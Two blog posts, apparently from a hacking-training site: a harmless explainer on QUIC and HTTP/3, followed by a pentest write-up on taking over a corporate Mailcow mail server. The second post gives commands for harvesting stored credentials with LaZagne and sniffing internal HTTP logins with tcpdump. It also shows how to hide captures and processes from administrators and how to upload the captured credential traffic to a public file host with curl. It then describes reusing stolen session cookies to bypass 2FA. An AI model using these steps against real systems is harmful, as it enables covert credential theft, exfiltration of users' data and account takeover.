Welcome back, aspiring cyberwarriors!

For decades, traditional HTTP traffic over TCP, also known as HTTP/1 and HTTP/2, has been the backbone of the web, and we have tools to analyze, intercept, and exploit it. But nowadays, we have HTTP/3, which is steadily increasing adoption across the web. In 2022, around 22% of all websites used HTTP/3; in 2025, this number increased to ~40%. And as cyberwarriors, we need to stay ahead of these changes.

In the article, we briefly explore what’s under the hood of HTTP/3 and how we can get in touch with it. Let’s get rolling!

What is HTTP/3?

HTTP/3 is the newest version of the Hypertext Transfer Protocol. Browsers, applications, and APIs use this system to move data across the Internet. What sets HTTP/3 apart is its break from TCP, the transport protocol that has powered the web since its earliest days.

The Problem with TCP

TCP (Transmission Control Protocol) is reliable but inflexible. It prioritizes accuracy over speed. It ensures all data arrives in perfect order, even if that slows the whole connection.

Each session requires a multi-step handshake. If one packet gets delayed, everything behind it must wait. This worked for email. It’s a poor fit for modern, high-speed web traffic.

How QUIC Solves It

HTTP/3 uses QUIC (Quick UDP Internet Connections) to overcome these limitations. QUIC is a transport protocol built on UDP. Engineers designed it for a fast, mobile, and latency-sensitive Internet.

QUIC minimizes handshake overhead. It avoids head-of-line blocking. And it encrypts nearly the entire connection by default, right from the start.

After years of development, the IETF officially standardized HTTP/3 in 2022. Today, it’s widely implemented across major browsers, cloud platforms, and an ever-growing number of web servers.

What Is QUIC?

Traditional web traffic follows a predictable pattern. A client starts a TCP three-way handshake. Then it performs a TLS handshake over that connection. Finally, it begins sending HTTP requests.

QUIC collapses this entire process into a single handshake. This handshake combines transport and cryptographic negotiation. The first time a client connects to a server, it can establish a secure connection in just one round trip.

On subsequent connections, QUIC can achieve zero-round-trip-time resumption. This means the client can send encrypted application data in the very first packet.

The protocol encrypts almost everything except a minimal connection identifier. TLS over TCP exposes TCP headers, sequence numbers, and acknowledgments in plaintext. QUIC, by contrast, encrypts packet numbers, acknowledgments, and even connection close frames. This encryption-by-default approach significantly reduces the metadata available for traffic analysis.

QUIC also implements connection migration. This feature allows a connection to survive network changes. If a user switches from WiFi to cellular, or their IP address changes due to DHCP renewal, the QUIC connection persists. It does this using connection IDs rather than the traditional four-tuple: source IP, source port, destination IP, and destination port.

QUIC Handshake

The process begins when the client sends its Initial packet. This first message contains the client’s supported QUIC versions, the available cipher suites, a freshly generated random number, and a Connection ID. This ID is a randomly chosen identifier. It remains stable even if the client’s IP address changes.

Inside this Initial packet, the client embeds the TLS 1.3 ClientHello message. It also includes QUIC transport parameters and the initial cryptographic material needed to start key negotiation. If the client has connected to the server before, it may even include early application data, such as an HTTP request, to save an extra round trip.

Server Response

The server then responds with its own set of information. It chooses one of the client’s QUIC versions and cipher suites, provides its own random number, and supplies a server-side Connection ID along with its QUIC transport parameters. This response embeds the TLS 1.3 ServerHello, which contains the cryptographic material needed to derive shared keys. The server also sends its full certificate chain, including the server certificate and the intermediate certificate authorities (CAs) that signed it. It may optionally include early HTTP response data too.

Certificate Verification and Connection Setup

Once the client receives the server’s response, it begins certificate verification. It extracts the certificate data and the accompanying signature, identifies the issuing CA, and uses the appropriate root certificate from its trust store to verify the intermediate certificates and, ultimately, the server’s certificate.

To do this, the client hashes the received certificate data using the algorithm the certificate specifies. It then checks whether this computed hash matches the one it can verify with the CA’s public key. If the values match, and the certificate is valid for the current time period and domain name in use, the client can trust that the server is genuine.

At this point, the client derives the QUIC connection keys using the TLS key schedule. It sends its TLS Finished message inside another QUIC packet. Once this exchange completes, the connection is fully ready for encrypted application data.

Encrypted Communication Begins

From this moment onward, the established session keys encrypt all traffic between client and server. Unlike traditional TCP combined with TLS, QUIC doesn’t require a separate TLS handshake phase. Instead, QUIC tightly integrates TLS into its own handshake, eliminating extra round trips.

One major advantage of this design is that both the server and client can include actual application data, such as HTTP requests and responses, within the handshake itself. As a result, certificate validation and connection establishment happen in parallel with the initial exchange of real data. This makes QUIC both faster and more efficient than the older TCP+TLS model.

How Does QUIC Network Work?

The image below shows the basic structure of a QUIC-based network. As illustrated, HTTP/3 requests, responses, and other application data all travel through QUIC streams. These streams are encapsulated in several logical layers before being transmitted over the network.

Anatomy of a QUIC Stream

A UDP datagram serves as the outer transport container. It has a header with the source and destination ports, along with length and checksum information. It carries one or more QUIC packets. This is the fundamental unit transmitted between the client and server across the network.

A QUIC packet is the unit contained within a UDP datagram. Each datagram may carry one or more of them. Every QUIC packet consists of a QUIC header along with one or more QUIC frames.

The QUIC Header

The QUIC header contains metadata about the packet and comes in two formats. The long header is used during connection setup, while the short header is used once the connection is established. The short header includes the connection ID, packet number, and key phase. The key phase indicates the encryption keys in use and supports key rotation. Packet numbers increase continuously for each connection and key phase.

Frames and Streams

A frame is the smallest structured unit inside a QUIC packet. It contains the frame type, stream ID, offset, and a segment of the stream’s data. Although the data for a stream is spread across multiple frames, the receiver can reassemble it in the correct order using the connection ID, stream ID, and offset.

A stream is a unidirectional or bidirectional channel of data within a QUIC connection. Each QUIC connection can support multiple independent streams, each identified by its own ID. If a QUIC packet is lost, only the streams carried in that packet are affected. All other streams continue uninterrupted. This independence eliminates the head-of-line blocking seen in HTTP/2. Streams can be created by either endpoint and can operate in both directions.

HTTP/3 vs. HTTP/2 vs. HTTP/1: What Actually Changed?

To understand the significance of HTTP/3, it helps to first consider the limitations of its predecessors.

HTTP/1.1, the original protocol still used by millions of websites, handles only one request per TCP connection. This forces browsers to open and close multiple connections just to load a single page, resulting in inefficiency, slower performance, and high sensitivity to network issues.

HTTP/2 introduced major improvements, including multiplexing, which allows multiple requests to share a single TCP connection, as well as header compression and server push. These changes provided significant gains, but the protocol still relies on TCP, which has a fundamental limitation: if one packet is delayed, the entire connection pipeline stalls. This phenomenon, known as head-of-line blocking, cannot be avoided in HTTP/2.

HTTP/3 addresses this limitation by replacing TCP with a more advanced transport layer. Built on QUIC, HTTP/3 establishes encrypted sessions faster, typically requiring only one round-trip instead of three or more. It eliminates head-of-line blocking by giving each stream independent flow control, allowing other streams to continue even if one packet is lost. It can maintain sessions through IP or network changes, recover more gracefully from packet loss, and even support custom congestion control tailored to different workloads.

In short, HTTP/3 is not merely a refined version of HTTP/2. It is a fundamentally redesigned protocol, created to overcome the limitations of previous generations, particularly for mobile users, latency-sensitive applications, and globally distributed traffic.

Get Started with HTTP/3

Modern versions of curl (7.66.0 and later, with HTTP/3 support compiled in) can test whether a target supports QUIC and HTTP/3. Here’s how to probe a server:

kali> curl –http3 -I https://www.example.com

This command attempts to connect using HTTP/3 over QUIC, but will fall back to HTTP/2 or HTTP/1.1 if QUIC isn’t supported.

Besides the theory, it’s also useful to see how QUIC traffic looks “in the wild.” One of the easiest ways to do this is by using Wireshark, a popular tool for analyzing network packets.

QUIC encrypts most of its payload. Even so, Wireshark can still identify QUIC packet types, versions, and some metadata. This helps us understand how a QUIC connection is established.

To start, open Wireshark and visit a website that supports QUIC. Cloudflare is a good example because it widely deploys HTTP/3 and the QUIC protocol. QUIC typically runs over UDP port 443. The simplest filter to confirm that you are seeing QUIC traffic is:

udp.port == 443

This filter shows all UDP traffic on port 443, which almost always corresponds to QUIC when dealing with modern websites.

QUIC uses different packet types during different stages of the connection. Even though the content is encrypted, Wireshark can still distinguish these packet types.

To show only Initial packets, which are the very first packets exchanged when a client starts a QUIC connection, use:

quic.long.packet_type == 0

Initial packets are part of QUIC’s handshake phase. They are somewhat similar to the “ClientHello” and “ServerHello” messages in TLS, except QUIC embeds the handshake inside the protocol itself.

If you want to view Handshake packets, which continue the cryptographic handshake after the Initial packets, use:

quic.long.packet_type == 2

These packets help complete the secure connection setup before QUIC switches to encrypted “short header” packets for normal data (like HTTP/3 requests and responses).
Also, QUIC has multiple versions, and servers often support more than one. To see packets that use a specific version, try:

quic.version == 0x00000001

This corresponds to QUIC version 1, which is standardized in RFC 9000. By checking which QUIC version appears in the traffic, you can understand what the server supports and whether it is using the standardized version or an older draft version.

Summary

QUIC isn’t just an incremental upgrade. It’s a complete reimagining of how modern internet communication should work. The traditional stack of TCP, TLS, and HTTP/2 served us well for many years. But it was never designed for the realities of today’s internet: global-scale latency, constantly changing mobile connections, and the growing demand for both high performance and strong security. QUIC was built from the ground up to address these challenges, making it faster, more resilient, and more secure for the modern web.

Keep coming back, aspiring cyberwarriors, as we continue to explore how fundamental protocols of the internet are being rewritten.

The post Network Security: Get Started with QUIC and HTTP/3 first appeared on Hackers Arise.

Welcome back, cyberwarriors.

It’s Collateral here again. Today we want to show you an attack vector that can bypass password complexity and 2FA. It was successful during one of our latest pentests. The environment we were testing was complex with segmented networks. In a situation like that, the best move is usually traffic analysis.

During the pentest we got access to a machine used for corporate mail. No details were given about the machine or the environment around it, but we noticed that the host was running multiple Docker containers. On the surface it looked like the company had done a decent job hardening things. Looking manually for configs across all these different apps is always a pain, so we used LaZagne instead to look for credentials.

LaZagne

LaZagne is a credential recovery tool that can parse configs and find credentials in them. It’s pretty easy to work with and the output looks clean. The tool can often find passwords buried in odd locations.

bash# > python3 laZagne.py

Not every entry you see will be a valid login, but most of the passwords are usable. We found the root credentials for MySQL which gave us database access. That’s already enough to temporarily adjust the password entries to analyze mail overnight.

# Docker shows 127.0.0.1:13306->3306/tcp

bash# > mysql -h 127.0.0.1 -P 13306 -u root -p

The password hashes used BLF-CRYPT format, which can be reproduced using the container itself, if you actually decide to manipulate the entries.

Network Traffic Analysis

These password hashes won’t help, because they’re slow to crack and some of them are backed by 2FA. Logging in with a cracked password might trigger a verification code sent to the user’s phone, which will definitely raise alarms.

For this attack we used tcpdump. A lot of people won’t like it because it’s a CLI tool and it’s boring writing those long oneliners explaining what you want to capture, but it’s quite powerful. It helped us understand the network’s behavior and find out which services were in use. You can still open your pcaps in Wireshark if you want to. Or better yet NetworkMiner, which will dissect every packet and sort all the findings. It’s often used for quick credential searches in pcaps because the filters are really strong

Above you can see a general traffic capture to get a sense of the environment. In secure networks where active scanning with nmap and other tools gets flagged, tcpdump is a better choice. By looking through the traffic flow, we can see the communication paths. We focused on HTTP traffic and found POST requests made to the mail server. The requests showed the internal proxy, where a publicly accessible mail portal forwarded traffic to a local Linux machine.

As you can see, the request contains the original IP address. Even though the main site used HTTPS, internal traffic was still HTTP. It’s a pretty common mistake.

Looks pretty good, right? They still think so.

Identifying the Port

To capture the credentials we had to find the correct port. It wasn’t on the usual 80 or 8080. If you look closely at the POST request, you will find it. It was 20000. That’s security through obscurity, as OTW says.

With that in hand, we started capturing the traffic:

bash# > tcpdump -i interface tcp port 20000 -w /etc/systemd/20k_01.pcap

Change the interface name to match yours and always store captures in obscure locations. Keep in mind, the tcpdump process will show up in the process list, unless the you use Zapper to hide it.

bash# > ps aux | grep tcpdump

Give it a few hours during the busy day and come back for your traffic capture. It’s always better to find the necessary ports and listen to their traffic instead of throwing a full capture at everything. The size will grow fast and the admins will notice a problem soon enough, especially if there isn’t much storage left to begin with.

# Upload the pcap to a free file host

bash# > file=20k_01.pcap
bash# > curl -F "reqtype=fileupload" -F "fileToUpload=@$file" https://catbox.moe/user/api.php

# It will give you the link in the output  

Next go to Wireshark, click File > Export objects > HTTP.

Export everything and read through all the connect packets.

kali > cat connect * | jq .

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using Cookie-Editor and you’re in.

Streamlining With TCPDump

Once you know what to look for, you can grep the keywords you need:

kali > tcpdump -A -r 20k_05.pcap port 20000 | grep “userName”

As you can see, the passwords were really complex, but this didn’t really help. Some accounts had 2FA, but if you have valid session cookies, you don’t need the password or the 2FA code. Just import them into your browser using an extension like Cookie-Editor and you’re in.

We found folders labeled “Accesses” and “VM”. Emails showed the company hosted client services on virtual machines. All the credentials for the VMs were stored in plaintext, which is basically a goldmine for lateral movement and pivot.

Conclusion

Network traffic isn’t always the first thing hackers and pentesters go with, but that underestimates it significantly. As you’ve seen, there’s a lot that can be found in it if you dedicate some time. Seeing HTTP used inside organizations is so common. That’s a very common mistake that leaves all the communication wide open. So if you know how to look for things, you’ll find your answer in a subtle way. All this company noise is an opportunity during a pentest for us.

The post Pentesting: Taking Over A Corporate Mail – Mailcow first appeared on Hackers Arise.